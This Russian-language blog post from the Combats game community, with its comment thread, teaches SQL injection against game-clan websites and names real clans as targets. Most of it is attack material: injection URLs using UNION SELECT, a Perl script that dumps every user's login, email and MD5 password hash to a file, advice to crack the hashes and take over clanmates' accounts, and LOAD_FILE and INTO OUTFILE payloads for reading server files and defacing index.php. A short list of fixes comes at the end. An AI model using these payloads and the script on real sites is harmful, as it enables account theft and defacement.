login:        password:      
Combats Scrolls
Rambler's Top100
Гость БК
Profile Friend page
ru
 16-06-07 @ 03:55
чиппи-гламур Open user info
защити себя сам
Для примера использован сайт клана Cossacks Of Hell

В связи с последними событиями в БК , я решил провести исследования клансайтов ..
К сожалению , как оказалось , большая часть подвержена серьезным уязвимостям..Я хочу рассказать вам и сберечь вас от наиболее распространенных..

Как оказалось 80% просмотренных мною клансайтов имеют схожие уязвимости - сиквэл инъекции , что далеко не странно , тк у программистов не хватает больше ума как использовать стандартные проверки в скриптах при обращении к реляционной базе данных..Зачем думать головой , если можно содрать уже написанное ? =))

Зачастую , о наличии сиквэл инъекции могут сказать ошибки , явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в сиквэл запросе можно судить и по косвенным признакам ..

Чтобы реализовать наш с вами взлом давайте найдем параметр , значения которого передаются в запросе к БД.. Это достаточно просто , как правило это может быть параметр для обращения к новостной ленте , галлерии , списку статей , панели регестрации итд ..

структура такого запроса

http://site/test.php?id=номер статьи или новости

естественно , любой нормальный человек , увидев такое в строке запроса или в сорсе кода начнет сУвать туда всякую херь =)

http://site/test.php?id=9999

http://site/test.php?id=ааа

http://site/test.php?id=0

http://site/test.php?id=-0

http://site/test.php?id=-1000

итд

в 10 сайтах , уже на этом этапе я получил ошибку , связанную с неверным сиквэл запросом

Некоторые программисты наивно полагают , что их спасет заключение параметра в одиночные ковычки - ' и ошибочная фильтрация символов.. бугага =)

что-нить типо

<?php

$param=preg_replace("/[a-zA-Z0-9]i","",$param);

?php>
---------------------------------------------------------------------------

если исследуя скрипт выше мы еще не получили ошибки , продолжим =))

http://site/test.php?id=-1'+/*

таким нехитрым маневром мы закрываем первую кавычку и ставим незакрытый сиквэл комментарий , который превращает следующий в запросе код в бесполезную информацию.

вуаля =))



*
Следует отметить , что вы можете и не получать вывод ошибочного запроса , но если в результате ковыряния параметра вы получаете редирект на главную страницу , или еще лучше страницу с пустым запросом или 500 ошибкой шттп - вы на верном пути и правильно выбрали атакуемый параметр ..
*

Дальше можно было бы и не писать ничего , если бы я не сомневался в профессионализме прогеров ..

далее начинаем подбирать верный запрос к таблице , туд , методом перебора выясняется номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу

http://site/test.php?id=-1'+union+select+null/*

если и такой запрос выдаст ошибку синтаксиса или пустую страницу , значит в скрипте, возможно имеется проверка на не пустоту одного из параметров ...

тогда идем конём ..

http://site/test.php?id=-1'+union+select+1/*

еееееее




http://site/test.php?id=-1'+union+select+1,2,3 итд/*

http://site/test.php?id=-1'+union+select+null,null,null,null,null,null,null/*


или если фильтруется пробуем

http://site/test.php?id=-1'+union+select+1,2,3,4,5,6,7/*

вуаля =))



Теперь можно перебирать имена таблиц .. Правильные запросы будут соответствовать существующим именам таблиц .. Наверно , интересно будет проверить на существование таблиц users , passwords , regusers и тд и тп ..
Если выводиться только одна строка из запроса (например , вместо тела статьи) , то можно передвигаться по строкам путем limit ..

http://site/test.php?id=-1'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,1/*

вуаля =))



*отдельно стоит рассказать про сиквэл функцию char() .. в качестве аргумента она принимает десятичный код ASCII символа , это нужно в том случае , когда скриптом фильтруются нужные символы...

например char(47) вернет нам / , когда если бы мы отослали его напрямую этот символ бы отфильтровался ..
*

Итак - мы имеем пароли в мд5 , логины и почтовые ящики пользователей .. (n делить на два , потом n деленное на два разделить на два итд)

Методом мат. анализа определяем , что записей в phpbb_forum тут 489 .. Анализируем сорс ошибки..
и пишем несложный скрипт на перле

не люблю я пхп =))

#!/usr/bin/perl -w

use LWP;
use strict;

my $ua=LWP::UserAgent->new;
my $i;
my $res;

$path='путь к уязвимости=-1\'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit';


for ($i=1;$i<=488;$i++) {
my $res=$ua->request(HTTP::Request->new(GET=>$path.'+'."$i".',1/*'));
if ($res->is_success) {
$res->content=~/<center>Запрещено просматривать статью '(.*):(.*):(.*)'/;
open (LOG,">>list") || die " cant open file";
print LOG $1.':'.$2.':'.$3."\n";
close LOG;

} else {
print $res->status_line;
}
}



В кратце - используем модуль лвл для последовательного гет запроса ко всем строкам таблицы , выделяем из сорса нужные тэги , а из них в свою очередь - логины , пароли и мэйлы ..


вуаля =))

в фале list , в одной корневой со скриптом через 2 мин у нас вся база данных сайта =))

кидаем пароли клана на подбор в любую утилиту для штурма мд5

и вуаля , через минуту у нас уже пасс от одного соклана ..
а еще через два дня , от половины





но какого же будет ваше удивление , когда в ответ на инъекцию

http://site/test.php?id=-1'+union+select+1,LOAD_FILE(''),3,4,5,6,7/*

вы получите





сайтик то , на винде стоит , а это увеличивает полет фантазии вдвое
нам на самом деле и не нужны пароли , их можно и не качать ..
Достаточно написать что - нить типа

http://site/test.php?id=-1'+union+select+1,LOAD_FILE('путь к любому файлу на диске C:\'),3,4,5,6,7/*

для просмотра любого скрипта

и

http://site/test.php?id=-1'+union+select+1,'',2,3,4,5,6,7+from+phpbb_forum+into+outfile+'C:\usr\local\site\www\index.php'/*

для дефейса .. те подмены главной страницы .. да и вообще стереть любой файл можно ..
или закачать свое ..

Похожие уязвимости я нашел почти на всех топ клан сайтах ..
Даркклан , рмиб и пачке других..

Попытаться исправить это можно путем

- для целых и дробных величин , перед их использованием в запросе надо привести величину к нужному типу ..

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на сиквэл инъекцию ..

if((string)$id<>(string)(int)$id) {

// пишем в лог о попытке ..

die('ops');

}

- для строковых параметров , которые не используются в like , regexp и тд , экранируем кавычки ..

$str=addslashes($str);

или , лучше я всегда советовал

mysql_escape_string($str)

- в строках , которые предполагается использовать внутри like , regexp и тд , необходимо так же заэкранировать специальные символы , применяющиеся в этих операторах , если это необходимо.. В противном случае , можно задокументировать использование этих символов ..



На прощание хочу сказать - никогда не ждите благодарностей от людей..
удачи , и помните - если жизнь свернула вас как удав , терпите =)))

hacked by 4

hacked by RaD

отдельное спасибо Diogen-у

Я думаю, что это: Scrolls.multiLike:)

view mode: linear threads
Smiles disabled in this post.
Total disscussion threads: 12 Pages: 1
«« « 1 » »»

Post reply | Post reply with quote
чиппи-гламур Open user info
16-06-07 @ 04:02
copy link to clipboard
Click to open image http://nuclear.fatal.ru/satan.files/arch-enemy.jpg in new window
Post reply Ответить с цитированием
Фретка Open user info Open user photogallery
16-06-07 @ 05:00
copy link to clipboard
ммм.. а про что это все написано-то?? ничо нипанила((
Post reply Ответить с цитированием
XT
17-06-07 @ 23:04
Re:
copy link to clipboard
Для этого нужен моск.. Забей
Post reply Ответить с цитированием
Чукама Open user info Open user photogallery
16-06-07 @ 08:01
copy link to clipboard
особенно понравилась саааамая последняя строчка =)
Post reply Ответить с цитированием
Mad-Boy Open user info Open user photogallery
16-06-07 @ 20:30
хы
copy link to clipboard
Жесть... так и фигли мы удивляемся что клансайты ломают? :(
Post reply Ответить с цитированием
Xuliqancik-yek Open user info
17-06-07 @ 00:26
copy link to clipboard
ты сам кидала ты сам кидаешь людей мы пишем свой пароль потом емаил и ник и потом типа ник того кого мы хотим взломать и наш пароль приходит к тебе и все ты че думаешь тут програмистов нету
Post reply Ответить с цитированием
XT
17-06-07 @ 23:09
Re:
copy link to clipboard
гг))))))
Post reply Ответить с цитированием
Закат на воде
17-06-07 @ 10:56
copy link to clipboard
Xuliqancik-yek


ААААААА,ну ты и дибил
Post reply Ответить с цитированием
kirillica Open user info Open user photogallery
17-06-07 @ 21:48
copy link to clipboard
ниче так, хорошо поработал :)

меня вообще умиляют прогеры, которые не экранируют входные параметры... )))
Post reply Ответить с цитированием
чиппи-гламур Open user info
17-06-07 @ 22:21
Re:
copy link to clipboard
тут экранированы .. да и везде .. просто выбор стоит , или отэкранировать под самые уши , но тогда оставить возможность вводить только эллементарные пароли , или проверять более слабо , зато дать пользователям возможность вводить нормальные пароли ..

=))

вот так вот .. я бы на твоем месте не расчитывал , что проверка на вашем клансайте вас спасет ;)
Post reply Ответить с цитированием
kirillica Open user info Open user photogallery
17-06-07 @ 22:33
Re: Re:
copy link to clipboard
да почерк-то знакомый :))
Post reply Ответить с цитированием
Гость БК
17-06-07 @ 22:11
copy link to clipboard
Типа, в статье много нового)
Post reply Ответить с цитированием
Гость БК
17-06-07 @ 23:07
copy link to clipboard
А первым постом ты себя нарисовал?)
Post reply Ответить с цитированием
чиппи-гламур Open user info
17-06-07 @ 23:10
Re:
copy link to clipboard
это образное "бугага"
Post reply Ответить с цитированием
Гость БК
18-06-07 @ 00:03
copy link to clipboard
Почерк знакомый.
Статья вообще баяновая, но, если есть еще что-то, то я бы обсудил прием.

Mixailo
Post reply Ответить с цитированием
чиппи-гламур Open user info
18-06-07 @ 00:13
Re:
copy link to clipboard
ога , тока ребята могут остаться вообще без сайта , до сих пор не починили ..

а так да .. бояновая

и учитывая то , что штук 20 сайтов первых попавшихся - даже значения менять не надо было .. тоже боян ..

=)
Post reply Ответить с цитированием
Гость БК
12-07-08 @ 07:26
Re:
copy link to clipboard
прием на какую должность? чиппи С++ программист и perl знает ..
он же не php программер .. )
Post reply Ответить с цитированием
Lex_zork Open user info Open user photogallery
17-07-07 @ 16:13
ого
copy link to clipboard
узнаю почерк
Post reply Ответить с цитированием
Трясун Open user info Open user photogallery
15-02-09 @ 17:30
copy link to clipboard
Во всем виноват Бочонок
Post reply Ответить с цитированием

Post reply | Post reply with quote

Total disscussion threads: 12 Pages: 1
«« « 1 » »»


 
 © 2007–2025 «combats.com»
  18+  
feedback